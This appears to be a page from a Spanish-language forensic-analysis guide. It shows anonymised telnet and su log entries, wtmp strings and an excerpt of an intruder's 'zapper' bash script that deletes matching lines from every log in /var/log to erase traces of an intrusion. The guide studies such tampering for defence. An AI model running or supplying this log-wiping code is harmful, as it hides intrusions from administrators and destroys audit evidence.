   XXX 13 06:46:12 XXXX in.telnetd[1673]: connect from XXX.XX.XXX.XX
   XXX 13 07:08:01 XXXX in.telnetd[1679]: connect from GGGGGGG.XXXXXXXXXXXXXX.XXX
   XXX 13 07:08:14 XXXX su: XXXXX on /dev/console
   . . .
   XXX 13 08:30:05 XXXX in.telnetd[1728]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
   XXX 13 08:30:22 XXXX in.telnetd[1731]: connect from HHHHHH.XXXXXXXXXXXXXXX.XXX
   XXX 13 08:32:34 XXXX in.telnetd[1733]: connect from FFFFFFF.XXXXXXXXXXXXXX.XXX
   . . .
   XXX 13 09:58:42 XXXX su: XXXXX on /dev/console
   -----------------------------------------------------------------------------

El siguiente ejemplo es un extracto de script "zapper" que elimina las huellas dejadas por el intruso, o restablece el tamaño de los ficheros log a 0 bytes. No se sabe si existe una copia de este script en el sistema de ficheros activo.

  -----------------------------------------------------------------------------
   #!/bin/bash
   . . .
   WHAT=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" |    grep -v ".tgz" | grep -v ".gz" | grep -v ".tar"    | grep -v "@")
   for file in $WHAT
   line=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   echo -n "Cleaning $file ($line lines)..."
   grep -v $1 /var/log/$file > new
   mv -f new /var/log/$file
   newline=$(wc -l /var/log/$file | awk -F ' ' '{print $1}')
   let linedel=$(($line-$newline))
   echo "$linedel lines removed!"
   done
   echo " "
   -----------------------------------------------------------------------------

Los siguientes cadenas de texto pertenecen al fichero wtmp (leído por la utilidad "last"). Las horas no son obvias aquí pero los nombres de hosts sí lo son.

   -----------------------------------------------------------------------------
   ftp4264
   ttyp1
   3XXXXX
   XXXXXXXXXXXX
   ttyp1
   Pftp4626
   3XXXXX
   XXXXXXXXXXXX
   ttyp1
   3XXXXX
   XXXXXXXXXXXX
   ftp4626
   ttyp1
   Pftp4639
   3XXXXXXXX
   XXX.XX.XXX.XX
   Pftp4639
   Pftp4653
   3XXXXXX
   XXXXXXXXXXXX
   ftp4653
   Pftp4743
   3XXXXX
   XXXXXXXXXXXXXXXX
   -----------------------------------------------------------------------------
[Subir]
[Anterior] [Menu Principal] [Siguiente]